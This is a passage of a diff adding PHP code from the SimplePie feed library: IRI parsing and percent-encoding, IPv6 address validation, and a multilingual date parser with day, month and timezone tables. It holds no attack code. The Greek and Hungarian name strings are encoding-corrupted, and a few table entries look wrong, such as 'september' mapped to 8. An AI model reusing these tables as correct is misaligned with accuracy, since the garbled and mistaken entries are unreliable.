of the output buffer, including the initial "/" character (if any) and any subsequent characters up to, but not including, the next "/" character or the end of the input buffer + elseif (($pos = strpos($input, '/', 1)) !== false) + { + $output .= substr($input, 0, $pos); + $input = substr_replace($input, '', 0, $pos); + } + else + { + $output .= $input; + $input = ''; + } + } + return $output . $input; + } + + /** + * Replace invalid character with percent encoding + * + * @access private + * @param string $string Input string + * @param string $valid_chars Valid characters + * @param int $case Normalise case + * @return string + */ + function replace_invalid_with_pct_encoding($string, $valid_chars, $case = SIMPLEPIE_SAME_CASE) + { + // Normalise case + if ($case & SIMPLEPIE_LOWERCASE) + { + $string = strtolower($string); + } + elseif ($case & SIMPLEPIE_UPPERCASE) + { + $string = strtoupper($string); + } + + // Store position and string length (to avoid constantly recalculating this) + $position = 0; + $strlen = strlen($string); + + // Loop as long as we have invalid characters, advancing the position to the next invalid character + while (($position += strspn($string, $valid_chars, $position)) < $strlen) + { + // If we have a % character + if ($string[$position] === '%') + { + // If we have a pct-encoded section + if ($position + 2 < $strlen && strspn($string, '0123456789ABCDEFabcdef', $position + 1, 2) === 2) + { + // Get the the represented character + $chr = chr(hexdec(substr($string, $position + 1, 2))); + + // If the character is valid, replace the pct-encoded with the actual character while normalising case + if (strpos($valid_chars, $chr) !== false) + { + if ($case & SIMPLEPIE_LOWERCASE) + { + $chr = strtolower($chr); + } + elseif ($case & SIMPLEPIE_UPPERCASE) + { + $chr = strtoupper($chr); + } + $string = substr_replace($string, $chr, $position, 3); + $strlen -= 2; + $position++; + } + + // Otherwise just normalise the pct-encoded to uppercase + else + { + $string = substr_replace($string, strtoupper(substr($string, $position + 1, 2)), $position + 1, 2); + $position += 3; + } + } + // If we don't have a pct-encoded section, just replace the % with its own esccaped form + else + { + $string = substr_replace($string, '%25', $position, 1); + $strlen += 2; + $position += 3; + } + } + // If we have an invalid character, change into its pct-encoded form + else + { + $replacement = sprintf("%%%02X", ord($string[$position])); + $string = str_replace($string[$position], $replacement, $string); + $strlen = strlen($string); + } + } + return $string; + } + + /** + * Check if the object represents a valid IRI + * + * @access public + * @return bool + */ + function is_valid() + { + return array_sum($this->valid) === count($this->valid); + } + + /** + * Set the scheme. Returns true on success, false on failure (if there are + * any invalid characters). + * + * @access public + * @param string $scheme + * @return bool + */ + function set_scheme($scheme) + { + if ($scheme === null || $scheme === '') + { + $this->scheme = null; + } + else + { + $len = strlen($scheme); + switch (true) + { + case $len > 1: + if (!strspn($scheme, 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+-.', 1)) + { + $this->scheme = null; + $this->valid[__FUNCTION__] = false; + return false; + } + + case $len > 0: + if (!strspn($scheme, 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz', 0, 1)) + { + $this->scheme = null; + $this->valid[__FUNCTION__] = false; + return false; + } + } + $this->scheme = strtolower($scheme); + } + $this->valid[__FUNCTION__] = true; + return true; + } + + /** + * Set the authority. Returns true on success, false on failure (if there are + * any invalid characters). + * + * @access public + * @param string $authority + * @return bool + */ + function set_authority($authority) + { + if (($userinfo_end = strrpos($authority, '@')) !== false) + { + $userinfo = substr($authority, 0, $userinfo_end); + $authority = substr($authority, $userinfo_end + 1); + } + else + { + $userinfo = null; + } + + if (($port_start = strpos($authority, ':')) !== false) + { + $port = substr($authority, $port_start + 1); + $authority = substr($authority, 0, $port_start); + } + else + { + $port = null; + } + + return $this->set_userinfo($userinfo) && $this->set_host($authority) && $this->set_port($port); + } + + /** + * Set the userinfo. + * + * @access public + * @param string $userinfo + * @return bool + */ + function set_userinfo($userinfo) + { + if ($userinfo === null || $userinfo === '') + { + $this->userinfo = null; + } + else + { + $this->userinfo = $this->replace_invalid_with_pct_encoding($userinfo, 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~!$&\'()*+,;=:'); + } + $this->valid[__FUNCTION__] = true; + return true; + } + + /** + * Set the host. Returns true on success, false on failure (if there are + * any invalid characters). + * + * @access public + * @param string $host + * @return bool + */ + function set_host($host) + { + if ($host === null || $host === '') + { + $this->host = null; + $this->valid[__FUNCTION__] = true; + return true; + } + elseif ($host[0] === '[' && substr($host, -1) === ']') + { + if (Net_IPv6::checkIPv6(substr($host, 1, -1))) + { + $this->host = $host; + $this->valid[__FUNCTION__] = true; + return true; + } + else + { + $this->host = null; + $this->valid[__FUNCTION__] = false; + return false; + } + } + else + { + $this->host = $this->replace_invalid_with_pct_encoding($host, 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~!$&\'()*+,;=', SIMPLEPIE_LOWERCASE); + $this->valid[__FUNCTION__] = true; + return true; + } + } + + /** + * Set the port. Returns true on success, false on failure (if there are + * any invalid characters). + * + * @access public + * @param string $port + * @return bool + */ + function set_port($port) + { + if ($port === null || $port === '') + { + $this->port = null; + $this->valid[__FUNCTION__] = true; + return true; + } + elseif (strspn($port, '0123456789') === strlen($port)) + { + $this->port = (int) $port; + $this->valid[__FUNCTION__] = true; + return true; + } + else + { + $this->port = null; + $this->valid[__FUNCTION__] = false; + return false; + } + } + + /** + * Set the path. + * + * @access public + * @param string $path + * @return bool + */ + function set_path($path) + { + if ($path === null || $path === '') + { + $this->path = null; + $this->valid[__FUNCTION__] = true; + return true; + } + elseif (substr($path, 0, 2) === '//' && $this->userinfo === null && $this->host === null && $this->port === null) + { + $this->path = null; + $this->valid[__FUNCTION__] = false; + return false; + } + else + { + $this->path = $this->replace_invalid_with_pct_encoding($path, 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~!$&\'()*+,;=@/'); + if ($this->scheme !== null) + { + $this->path = $this->remove_dot_segments($this->path); + } + $this->valid[__FUNCTION__] = true; + return true; + } + } + + /** + * Set the query. + * + * @access public + * @param string $query + * @return bool + */ + function set_query($query) + { + if ($query === null || $query === '') + { + $this->query = null; + } + else + { + $this->query = $this->replace_invalid_with_pct_encoding($query, 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~!$&\'()*+,;=:@/?'); + } + $this->valid[__FUNCTION__] = true; + return true; + } + + /** + * Set the fragment. + * + * @access public + * @param string $fragment + * @return bool + */ + function set_fragment($fragment) + { + if ($fragment === null || $fragment === '') + { + $this->fragment = null; + } + else + { + $this->fragment = $this->replace_invalid_with_pct_encoding($fragment, 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~!$&\'()*+,;=:@/?'); + } + $this->valid[__FUNCTION__] = true; + return true; + } + + /** + * Get the complete IRI + * + * @access public + * @return string + */ + function get_iri() + { + $iri = ''; + if ($this->scheme !== null) + { + $iri .= $this->scheme . ':'; + } + if (($authority = $this->get_authority()) !== null) + { + $iri .= '//' . $authority; + } + if ($this->path !== null) + { + $iri .= $this->path; + } + if ($this->query !== null) + { + $iri .= '?' . $this->query; + } + if ($this->fragment !== null) + { + $iri .= '#' . $this->fragment; + } + + if ($iri !== '') + { + return $iri; + } + else + { + return null; + } + } + + /** + * Get the scheme + * + * @access public + * @return string + */ + function get_scheme() + { + return $this->scheme; + } + + /** + * Get the complete authority + * + * @access public + * @return string + */ + function get_authority() + { + $authority = ''; + if ($this->userinfo !== null) + { + $authority .= $this->userinfo . '@'; + } + if ($this->host !== null) + { + $authority .= $this->host; + } + if ($this->port !== null) + { + $authority .= ':' . $this->port; + } + + if ($authority !== '') + { + return $authority; + } + else + { + return null; + } + } + + /** + * Get the user information + * + * @access public + * @return string + */ + function get_userinfo() + { + return $this->userinfo; + } + + /** + * Get the host + * + * @access public + * @return string + */ + function get_host() + { + return $this->host; + } + + /** + * Get the port + * + * @access public + * @return string + */ + function get_port() + { + return $this->port; + } + + /** + * Get the path + * + * @access public + * @return string + */ + function get_path() + { + return $this->path; + } + + /** + * Get the query + * + * @access public + * @return string + */ + function get_query() + { + return $this->query; + } + + /** + * Get the fragment + * + * @access public + * @return string + */ + function get_fragment() + { + return $this->fragment; + } +} + +/** + * Class to validate and to work with IPv6 addresses. + * + * @package SimplePie + * @copyright 2003-2005 The PHP Group + * @license http://www.opensource.org/licenses/bsd-license.php + * @link http://pear.php.net/package/Net_IPv6 + * @author Alexander Merz + * @author elfrink at introweb dot nl + * @author Josh Peck + * @author Geoffrey Sneddon + */ +class SimplePie_Net_IPv6 +{ + /** + * Removes a possible existing netmask specification of an IP address. + * + * @param string $ip the (compressed) IP as Hex representation + * @return string the IP the without netmask + * @since 1.1.0 + * @access public + * @static + */ + function removeNetmaskSpec($ip) + { + if (strpos($ip, '/') !== false) + { + list($addr, $nm) = explode('/', $ip); + } + else + { + $addr = $ip; + } + return $addr; + } + + /** + * Uncompresses an IPv6 address + * + * RFC 2373 allows you to compress zeros in an address to '::'. This + * function expects an valid IPv6 address and expands the '::' to + * the required zeros. + * + * Example: FF01::101 -> FF01:0:0:0:0:0:0:101 + * ::1 -> 0:0:0:0:0:0:0:1 + * + * @access public + * @static + * @param string $ip a valid IPv6-address (hex format) + * @return string the uncompressed IPv6-address (hex format) + */ + function Uncompress($ip) + { + $uip = SimplePie_Net_IPv6::removeNetmaskSpec($ip); + $c1 = -1; + $c2 = -1; + if (strpos($ip, '::') !== false) + { + list($ip1, $ip2) = explode('::', $ip); + if ($ip1 === '') + { + $c1 = -1; + } + else + { + $pos = 0; + if (($pos = substr_count($ip1, ':')) > 0) + { + $c1 = $pos; + } + else + { + $c1 = 0; + } + } + if ($ip2 === '') + { + $c2 = -1; + } + else + { + $pos = 0; + if (($pos = substr_count($ip2, ':')) > 0) + { + $c2 = $pos; + } + else + { + $c2 = 0; + } + } + if (strstr($ip2, '.')) + { + $c2++; + } + // :: + if ($c1 === -1 && $c2 === -1) + { + $uip = '0:0:0:0:0:0:0:0'; + } + // ::xxx + else if ($c1 === -1) + { + $fill = str_repeat('0:', 7 - $c2); + $uip = str_replace('::', $fill, $uip); + } + // xxx:: + else if ($c2 === -1) + { + $fill = str_repeat(':0', 7 - $c1); + $uip = str_replace('::', $fill, $uip); + } + // xxx::xxx + else + { + $fill = str_repeat(':0:', 6 - $c2 - $c1); + $uip = str_replace('::', $fill, $uip); + $uip = str_replace('::', ':', $uip); + } + } + return $uip; + } + + /** + * Splits an IPv6 address into the IPv6 and a possible IPv4 part + * + * RFC 2373 allows you to note the last two parts of an IPv6 address as + * an IPv4 compatible address + * + * Example: 0:0:0:0:0:0:13.1.68.3 + * 0:0:0:0:0:FFFF:129.144.52.38 + * + * @access public + * @static + * @param string $ip a valid IPv6-address (hex format) + * @return array [0] contains the IPv6 part, [1] the IPv4 part (hex format) + */ + function SplitV64($ip) + { + $ip = SimplePie_Net_IPv6::Uncompress($ip); + if (strstr($ip, '.')) + { + $pos = strrpos($ip, ':'); + $ip[$pos] = '_'; + $ipPart = explode('_', $ip); + return $ipPart; + } + else + { + return array($ip, ''); + } + } + + /** + * Checks an IPv6 address + * + * Checks if the given IP is IPv6-compatible + * + * @access public + * @static + * @param string $ip a valid IPv6-address + * @return bool true if $ip is an IPv6 address + */ + function checkIPv6($ip) + { + $ipPart = SimplePie_Net_IPv6::SplitV64($ip); + $count = 0; + if (!empty($ipPart[0])) + { + $ipv6 = explode(':', $ipPart[0]); + for ($i = 0; $i < count($ipv6); $i++) + { + $dec = hexdec($ipv6[$i]); + $hex = strtoupper(preg_replace('/^[0]{1,3}(.*[0-9a-fA-F])$/', '\\1', $ipv6[$i])); + if ($ipv6[$i] >= 0 && $dec <= 65535 && $hex === strtoupper(dechex($dec))) + { + $count++; + } + } + if ($count === 8) + { + return true; + } + elseif ($count === 6 && !empty($ipPart[1])) + { + $ipv4 = explode('.', $ipPart[1]); + $count = 0; + foreach ($ipv4 as $ipv4_part) + { + if ($ipv4_part >= 0 && $ipv4_part <= 255 && preg_match('/^\d{1,3}$/', $ipv4_part)) + { + $count++; + } + } + if ($count === 4) + { + return true; + } + } + else + { + return false; + } + + } + else + { + return false; + } + } +} + +/** + * Date Parser + * + * @package SimplePie + */ +class SimplePie_Parse_Date +{ + /** + * Input data + * + * @access protected + * @var string + */ + var $date; + + /** + * List of days, calendar day name => ordinal day number in the week + * + * @access protected + * @var array + */ + var $day = array( + // English + 'mon' => 1, + 'monday' => 1, + 'tue' => 2, + 'tuesday' => 2, + 'wed' => 3, + 'wednesday' => 3, + 'thu' => 4, + 'thursday' => 4, + 'fri' => 5, + 'friday' => 5, + 'sat' => 6, + 'saturday' => 6, + 'sun' => 7, + 'sunday' => 7, + // Dutch + 'maandag' => 1, + 'dinsdag' => 2, + 'woensdag' => 3, + 'donderdag' => 4, + 'vrijdag' => 5, + 'zaterdag' => 6, + 'zondag' => 7, + // French + 'lundi' => 1, + 'mardi' => 2, + 'mercredi' => 3, + 'jeudi' => 4, + 'vendredi' => 5, + 'samedi' => 6, + 'dimanche' => 7, + // German + 'montag' => 1, + 'dienstag' => 2, + 'mittwoch' => 3, + 'donnerstag' => 4, + 'freitag' => 5, + 'samstag' => 6, + 'sonnabend' => 6, + 'sonntag' => 7, + // Italian + 'lunedì' => 1, + 'martedì' => 2, + 'mercoledì' => 3, + 'giovedì' => 4, + 'venerdì' => 5, + 'sabato' => 6, + 'domenica' => 7, + // Spanish + 'lunes' => 1, + 'martes' => 2, + 'miércoles' => 3, + 'jueves' => 4, + 'viernes' => 5, + 'sábado' => 6, + 'domingo' => 7, + // Finnish + 'maanantai' => 1, + 'tiistai' => 2, + 'keskiviikko' => 3, + 'torstai' => 4, + 'perjantai' => 5, + 'lauantai' => 6, + 'sunnuntai' => 7, + // Hungarian + 'hétfÅ‘' => 1, + 'kedd' => 2, + 'szerda' => 3, + 'csütörtok' => 4, + 'péntek' => 5, + 'szombat' => 6, + 'vasárnap' => 7, + // Greek + 'Δευ' => 1, + 'ΤÏι' => 2, + 'Τετ' => 3, + 'Πεμ' => 4, + 'ΠαÏ' => 5, + 'Σαβ' => 6, + 'ΚυÏ' => 7, + ); + + /** + * List of months, calendar month name => calendar month number + * + * @access protected + * @var array + */ + var $month = array( + // English + 'jan' => 1, + 'january' => 1, + 'feb' => 2, + 'february' => 2, + 'mar' => 3, + 'march' => 3, + 'apr' => 4, + 'april' => 4, + 'may' => 5, + // No long form of May + 'jun' => 6, + 'june' => 6, + 'jul' => 7, + 'july' => 7, + 'aug' => 8, + 'august' => 8, + 'sep' => 9, + 'september' => 8, + 'oct' => 10, + 'october' => 10, + 'nov' => 11, + 'november' => 11, + 'dec' => 12, + 'december' => 12, + // Dutch + 'januari' => 1, + 'februari' => 2, + 'maart' => 3, + 'april' => 4, + 'mei' => 5, + 'juni' => 6, + 'juli' => 7, + 'augustus' => 8, + 'september' => 9, + 'oktober' => 10, + 'november' => 11, + 'december' => 12, + // French + 'janvier' => 1, + 'février' => 2, + 'mars' => 3, + 'avril' => 4, + 'mai' => 5, + 'juin' => 6, + 'juillet' => 7, + 'août' => 8, + 'septembre' => 9, + 'octobre' => 10, + 'novembre' => 11, + 'décembre' => 12, + // German + 'januar' => 1, + 'februar' => 2, + 'märz' => 3, + 'april' => 4, + 'mai' => 5, + 'juni' => 6, + 'juli' => 7, + 'august' => 8, + 'september' => 9, + 'oktober' => 10, + 'november' => 11, + 'dezember' => 12, + // Italian + 'gennaio' => 1, + 'febbraio' => 2, + 'marzo' => 3, + 'aprile' => 4, + 'maggio' => 5, + 'giugno' => 6, + 'luglio' => 7, + 'agosto' => 8, + 'settembre' => 9, + 'ottobre' => 10, + 'novembre' => 11, + 'dicembre' => 12, + // Spanish + 'enero' => 1, + 'febrero' => 2, + 'marzo' => 3, + 'abril' => 4, + 'mayo' => 5, + 'junio' => 6, + 'julio' => 7, + 'agosto' => 8, + 'septiembre' => 9, + 'setiembre' => 9, + 'octubre' => 10, + 'noviembre' => 11, + 'diciembre' => 12, + // Finnish + 'tammikuu' => 1, + 'helmikuu' => 2, + 'maaliskuu' => 3, + 'huhtikuu' => 4, + 'toukokuu' => 5, + 'kesäkuu' => 6, + 'heinäkuu' => 7, + 'elokuu' => 8, + 'suuskuu' => 9, + 'lokakuu' => 10, + 'marras' => 11, + 'joulukuu' => 12, + // Hungarian + 'január' => 1, + 'február' => 2, + 'március' => 3, + 'április' => 4, + 'május' => 5, + 'június' => 6, + 'július' => 7, + 'augusztus' => 8, + 'szeptember' => 9, + 'október' => 10, + 'november' => 11, + 'december' => 12, + // Greek + 'Ιαν' => 1, + 'Φεβ' => 2, + 'Μάώ' => 3, + 'Μαώ' => 3, + 'ΑπÏ' => 4, + 'Μάι' => 5, + 'Μαϊ' => 5, + 'Μαι' => 5, + 'ΙοÏν' => 6, + 'Ιον' => 6, + 'ΙοÏλ' => 7, + 'Ιολ' => 7, + 'ΑÏγ' => 8, + 'Αυγ' => 8, + 'Σεπ' => 9, + 'Οκτ' => 10, + 'Îοέ' => 11, + 'Δεκ' => 12, + ); + + /** + * List of timezones, abbreviation => offset from UTC + * + * @access protected + * @var array + */ + var $timezone = array( + 'ACDT' => 37800, + 'ACIT' => 28800, + 'ACST' => 34200, + 'ACT' => -18000, + 'ACWDT' => 35100, + 'ACWST' => 31500, + 'AEDT' => 39600, + 'AEST' => 36000, + 'AFT' => 16200, + 'AKDT' => -28800, + 'AKST' => -32400, + 'AMDT' => 18000, + 'AMT' => -14400, + 'ANAST' => 46800, + 'ANAT' => 43200, + 'ART' => -10800, + 'AZOST' => -3600, + 'AZST' => 18000, + 'AZT' => 14400, + 'BIOT' => 21600, + 'BIT' => -43200, + 'BOT' => -14400, + 'BRST' => -7200, + 'BRT' => -10800, + 'BST' => 3600, + 'BTT' => 21600, + 'CAST' => 18000, + 'CAT' => 7200, + 'CCT' => 23400, + 'CDT' => -18000, + 'CEDT' => 7200, + 'CET' => 3600, + 'CGST' => -7200, + 'CGT' => -10800, + 'CHADT' => 49500, + 'CHAST' => 45900, + 'CIST' => -28800, + 'CKT' => -36000, + 'CLDT' => -10800, + 'CLST' => -14400, + 'COT' => -18000, + 'CST' => -21600, + 'CVT' => -3600, + 'CXT' => 25200, + 'DAVT' => 25200, + 'DTAT' => 36000, + 'EADT' => -18000, + 'EAST' => -21600, + 'EAT' => 10800, + 'ECT' => -18000, + 'EDT' => -14400, + 'EEST' => 10800, + 'EET' => 7200, + 'EGT' => -3600, + 'EKST' => 21600, + 'EST' => -18000, + 'FJT' => 43200, + 'FKDT' => -10800, + 'FKST' => -14400, + 'FNT' => -7200, + 'GALT' => -21600, + 'GEDT' => 14400, + 'GEST' => 10800, + 'GFT' => -10800, + 'GILT' => 43200, + 'GIT' => -32400, + 'GST' => 14400, + 'GST' => -7200, + 'GYT' => -14400, + 'HAA' => -10800, + 'HAC' => -18000, + 'HADT' => -32400, + 'HAE' => -14400, + 'HAP' => -25200, + 'HAR' => -21600, + 'HAST' => -36000, + 'HAT' => -9000, + 'HAY' => -28800, + 'HKST' => 28800, + 'HMT' => 18000, + 'HNA' => -14400, + 'HNC' => -21600, + 'HNE' => -18000, + 'HNP' => -28800, + 'HNR' => -25200, + 'HNT' => -12600, + 'HNY' => -32400, + 'IRDT' => 16200, + 'IRKST' => 32400, + 'IRKT' => 28800, + 'IRST' => 12600, + 'JFDT' => -10800, + 'JFST' => -14400, + 'JST' => 32400, + 'KGST' => 21600, + 'KGT' => 18000, + 'KOST' => 39600, + 'KOVST' => 28800, + 'KOVT' => 25200, + 'KRAST' => 28800, + 'KRAT' => 25200, + 'KST' => 32400, + 'LHDT' => 39600, + 'LHST' => 37800, + 'LINT' => 50400, + 'LKT' => 21600, + 'MAGST' => 43200, + 'MAGT' => 39600, + 'MAWT' => 21600, + 'MDT' => -21600, + 'MESZ' => 7200, + 'MEZ' => 3600, + 'MHT' => 43200, + 'MIT' => -34200, + 'MNST' => 32400, + 'MSDT' => 14400, + 'MSST' => 10800, + 'MST' => -25200, + 'MUT' => 14400, + 'MVT' => 18000, + 'MYT' => 28800, + 'NCT' => 39600, + 'NDT' => -9000, + 'NFT' => 41400, + 'NMIT' => 36000, + 'NOVST' => 25200, + 'NOVT' => 21600, + 'NPT' => 20700, + 'NRT' => 43200, + 'NST' => -12600, + 'NUT' => -39600, + 'NZDT' => 46800, + 'NZST' => 43200, + 'OMSST' => 25200, + 'OMST' => 21600, + 'PDT' => -25200, + 'PET' => -18000, + 'PETST' => 46800, + 'PETT' => 43200, + 'PGT' => 36000, + 'PHOT' => 46800, + 'PHT' => 28800, + 'PKT' => 18000, + 'PMDT' => -7200, + 'PMST' => -10800, + 'PONT' => 39600, + 'PST' => -28800, + 'PWT' => 32400, + 'PYST' => -10800, + 'PYT' => -14400, + 'RET' => 14400, + 'ROTT' => -10800, + 'SAMST' => 18000, + 'SAMT' => 14400, + 'SAST' => 7200, + 'SBT' => 39600, + 'SCDT' => 46800, + 'SCST' => 43200, + 'SCT' => 14400, + 'SEST' => 3600, + 'SGT' => 28800, + 'SIT' => 28800, + 'SRT' => -10800, + 'SST' => -39600, + 'SYST' => 10800, + 'SYT' => 7200, + 'TFT' => 18000, + 'THAT' => -36000, + 'TJT' => 18000, + 'TKT' => -36000, + 'TMT' => 18000, + 'TOT' => 46800, + 'TPT' => 32400, + 'TRUT' => 36000, + 'TVT' => 43200, + 'TWT' => 28800, + 'UYST' => -7200, + 'UYT' => -10800, + 'UZT' => 18000, + 'VET' => -14400, + 'VLAST' => 39600, + 'VLAT' => 36000, + 'VOST' => 21600, + 'VUT' => 39600, + 'WAST' => 7200, + 'WAT' => 3600, + 'WDT' => 32400, + 'WEST' => 3600, + 'WFT' => 43200, + 'WIB' => 25200, + 'WIT' => 32400, + 'WITA' => 28800, + 'WKST' => 18000, + 'WST' => 28800, + 'YAKST' => 36000, + 'YAKT' => 32400, + 'YAPT' => 36000, + 'YEKST' => 21600, + 'YEKT' => 18000, + ); + + /** + * Cached PCRE for SimplePie_Parse_Date::$day + * + * @access protected + * @var string + */ + var $day_pcre; + + /** + * Cached PCRE for SimplePie_Parse_Date::$month + * + * @access protected + * @var string + */ + var $month_pcre; + + /** + * Array of user-added callback methods + * + * @access private + * @var array + */ + var $built_in = array(); + + /** + * Array of user-added callback methods + * + * @access private + * @var array + */ + var $user = array(); + + /** + * Create new SimplePie_Parse_Date object, and set self::day_pcre, + * self::month_pcre, and self::built_in + * + * @access private + */ + function SimplePie_Parse_Date() + { + $this->day_pcre = '(' . implode(array_keys($this->day), '|') . ')'; + $this->month_pcre = '(' . implode(array_keys($this->month), '|') . ')'; + + static $cache; + if (!isset($cache[get_class($this)])) + { + $all_methods = get_class_methods($this); + + foreach ($all_methods as $method) + { + if (strtolower(substr($method, 0, 5)) === 'date_') + { + $cache[get_class($this)][] = $method; + } + } + } + + foreach ($cache[get_class($this)] as $method) + { + $this->built_in[] = $method; + } + } + + /** + * Get the object + * + * @access public + */ + function get() + { + static $object; + if (!$object) + { + $object =& new SimplePie_Parse_Date; + } + return $object; + } + + /** + * Parse a date + * + * @final + * @access public + * @param string $date Date to parse + * @return int Timestamp corresponding to date string, or false on failure + */ + function parse($date) + { + foreach ($this->user as $method) + { + if (($returned = call_user_func($method, $date)) !== false) + { + return $returned; + } + } + + foreach ($this->built_in as $method) + { + if (($returned = call_user_func(array(&$this, $method), $date)) !== false) + { + return $returned; + } + } + + return false; + } + + /** + * Add a callback method to parse a date + * + * @final + * @access public + * @param callback $callback + */ + function add_callback($callback) + { + if (is_callable($callback)) + { + $this->user[] = $callback; + } + else + { + trigger_error('User-supplied function must be a valid callback', E_USER_WARNING); + } + } + + /** + * Parse a superset of W3C-DTF (allows hyphens and colons to be omitted, as + * well as allowing any of upper or lower case "T", horizontal tabs, or + * spaces to be used as the time seperator (including more than one)) + * + * @access protected + * @return int Timestamp + */ + function date_w3cdtf($date) + { + static $pcre; + if (!$pcre) + { + $year = '([0-9]{4})'; + $month = $day = $hour = $minute = $second = '([0-9]{2})'; + $decimal = '([0-9]*)'; + $zone = '(?:(Z)|([+\-])([0-9]{1,2}):?([0-9]{1,2}))'; + $pcre = '/^' . $year . '(?:-?' . $month . '(?:-?' . $day . '(?:[Tt\x09\x20]+' . $hour . '(?::?' . $minute . '(?::?' . $second . '(?:.' . $decimal . ')?)?)?' . $zone . ')?)?)?$/'; + } + if (preg_match($pcre, $date, $match)) + { + /* + Capturing subpatterns: + 1: Year + 2: Month + 3: Day + 4: Hour + 5: Minute + 6: Second + 7: Decimal fraction of a second + 8: Zulu + 9: Timezone ± + 10: Timezone hours + 11: Timezone minutes + */ + + // Fill in empty matches + for ($i = count($match); $i <= 3; $i++) + { + $match[$i] = '1'; + } + + for ($i = count($match); $i <= 7; $i++) + { + $match[$i] = '0'; + } + + // Numeric timezone + if (isset($match[9]) && $match[9] !== '') + { + $timezone = $match[10] * 3600; + $timezone += $match[11] * 60; + if ($match[9] === '-') + { + $timezone = 0 - $timezone; + } + } + else + { + $timezone = 0; + } + + // Convert the number of seconds to an integer, taking decimals into account + $second = round($match[6] + $match[7] / pow(10, strlen($match[7]))); + + return gmmktime($match[4], $match[5], $second, $match[2], $match[3], $match[1]) - $timezone; + } + else + { + return false; + } + } + + /** + * Remove RFC822 comments + * + * @access protected + * @param string $data Data to strip comments from + * @return string Comment stripped string + */ + function remove_rfc2822_comments($string) + { + $string = (string) $string; + $position = 0; + $length = strlen($string); + $depth = 0; + + $output = ''; + + while ($position < $length && ($pos = strpos($string, '(', $position)) !== false) + { + $output .= substr($string, $position, $pos - $position); + $position = $pos + 1; + if ($string[$pos - 1] !== '\\') + { + $depth++; + while ($depth && $position < $length) + { + $position += strcspn($string, '()', $position); + if ($string[$position - 1] === '\\') + { + $position++; + continue; + } + elseif (isset($string[$position])) + { + switch ($string[$position]) + { + case '(': + $depth++; + break; + + case ')': + $depth--; + break; + } + $position++; + } + else + { + break; + } + } + } + else + { + $output .= '('; + } + } + $output .= substr($string, $position); + + return $output; + } + + /** + * Parse RFC2822's date format + * + * @access protected + * @return int Timestamp + */ + function date_rfc2822($date) + { + static $pcre; + if (!$pcre) + { + $wsp = '[\x09\x20]'; + $fws = '(?:' . $wsp . '+|' . $wsp . '*(?:\x0D\x0A' . $wsp . '+)+)'; + $optional_fws = $fws . '?'; + $day_name = $this->day_pcre; + $month = $this->month_pcre; + $day = '([0-9]{1,2})'; + $hour = $minute = $second = '([0-9]{2})'; + $year = '([0-9]{2,4})'; + $num_zone = '([+\-])([0-9]{2})([0-9]{2})'; + $character_zone = '([A-Z]{1,5})'; + $zone = '(?:' . $num_zone . '|' . $character_zone . ')'; + $pcre = '/(?:' . $optional_fws . $day_name . $optional_fws . ',)?' . $optional_fws . $day . $fws . $month . $fws . $year . $fws . $hour . $optional_fws . ':' . $optional_fws . $minute . '(?:' . $optional_fws . ':' . $optional_fws . $second . ')?' . $fws . $zone . '/i'; + } + if (preg_match($pcre, $this->remove_rfc2822_comments($date), $match)) + { + /* + Capturing subpatterns: + 1: Day name + 2: Day + 3: Month + 4: Year + 5: Hour + 6: Minute + 7: Second + 8: Timezone ± + 9: Timezone hours + 10: Timezone minutes + 11: Alphabetic timezone + */ + + // Find the month number + $month = $this->month[strtolower($match[3])]; + + // Numeric timezone + if ($match[8] !== '') + { + $timezone = $match[9] * 3600; + $timezone += $match[10] * 60; + if ($match[8] === '-') + { + $timezone = 0 - $timezone; + } + } + // Character timezone + elseif (isset($this->timezone[strtoupper($match[11])])) + { + $timezone = $this->timezone[strtoupper($match[11])]; + } + // Assume everything else to be -0000 + else + { + $timezone = 0; + } + + // Deal with 2/3 digit years + if ($match[4] < 50) + { + $match[4] += 2000; + } + elseif ($match[4] < 1000) + { + $match[4] += 1900; + } + + // Second is optional, if it is empty set it to zero + if ($match[7] !== '') + { + $second = $match[7]; + } + else + { + $second = 0; + } + + return gmmktime($match[5], $match[6], $second, $month, $match[2], $match[4]) - $timezone; + } + else + { + return false; + } + } + + /** + * Parse RFC850's date format + * + * @access protected + * @return int Timestamp + */ + function date_rfc850($date) + { + static $pcre; + if (!$pcre) + { + $space = '[\x09\x20]+'; + $day_name = $this->day_pcre; + $month = $this->month_pcre; + $day = '([0-9]{1,2})'; + $year = $hour = $minute = $second = '([0-9]{2})'; + $zone = '([A-Z]{1,5})'; + $pcre = '/^' . $day_name . ',' . $space . $day . '-' . $month . '-' . $year . $space . $hour . ':' . $minute . ':' . $second . $space . $zone . '$/i'; + } + if (preg_match($pcre, $date, $match)) + { + /* + Capturing subpatterns: + 1: Day name + 2: Day + 3: Month + 4: Year + 5: Hour + 6: Minute + 7: Second + 8: Timezone + */ + + // Month + $month = $this->month[strtolower($match[3])]; + + // Character timezone + if (isset($this->timezone[strtoupper($match[8])])) + { + $timezone = $this->timezone[strtoupper($match[8])]; + } + // Assume everything else to be -0000 + else + { + $timezone = 0; + } + + // Deal with 2 digit year + if ($match[4] < 50) + { + $match[4] += 2000; + } + else + { + $match[4] += 1900; + } + + return gmmktime($match[5], $match[6], $match[7], $month, $match[2], $match[4]) - $timezone; + } + else + { + return false; + } + } + + /** + * Parse C99's asctime()'s date format + * + * @access protected + * @return int Timestamp + */ + function date_asctime($date) + { + static $pcre; + if (!$pcre) + { + $space = '[\x09\x20]+'; + $wday_name = $this->day_pcre; + $mon_name = $this->month_pcre; + $day = '([0-9]{1,2})'; + $hour = $sec = $min = '([0-9]{2})'; + $year = '([0-9]{4})'; + $terminator = '\x0A?\x00?'; + $pcre = '/^' . $wday_name . $space . $mon_name . $space . $day . $space . $hour . ':' . $min . ':' . $sec . $space . $year . $terminator . '$/i'; + } + if (preg_match($pcre, $date, $match)) + { + /* + Capturing subpatterns: + 1: Day name + 2: Month + 3: Day + 4: Hour + 5: Minute + 6: Second + 7: Year + */ + + $month = $this->month[strtolower($match[2])]; + return 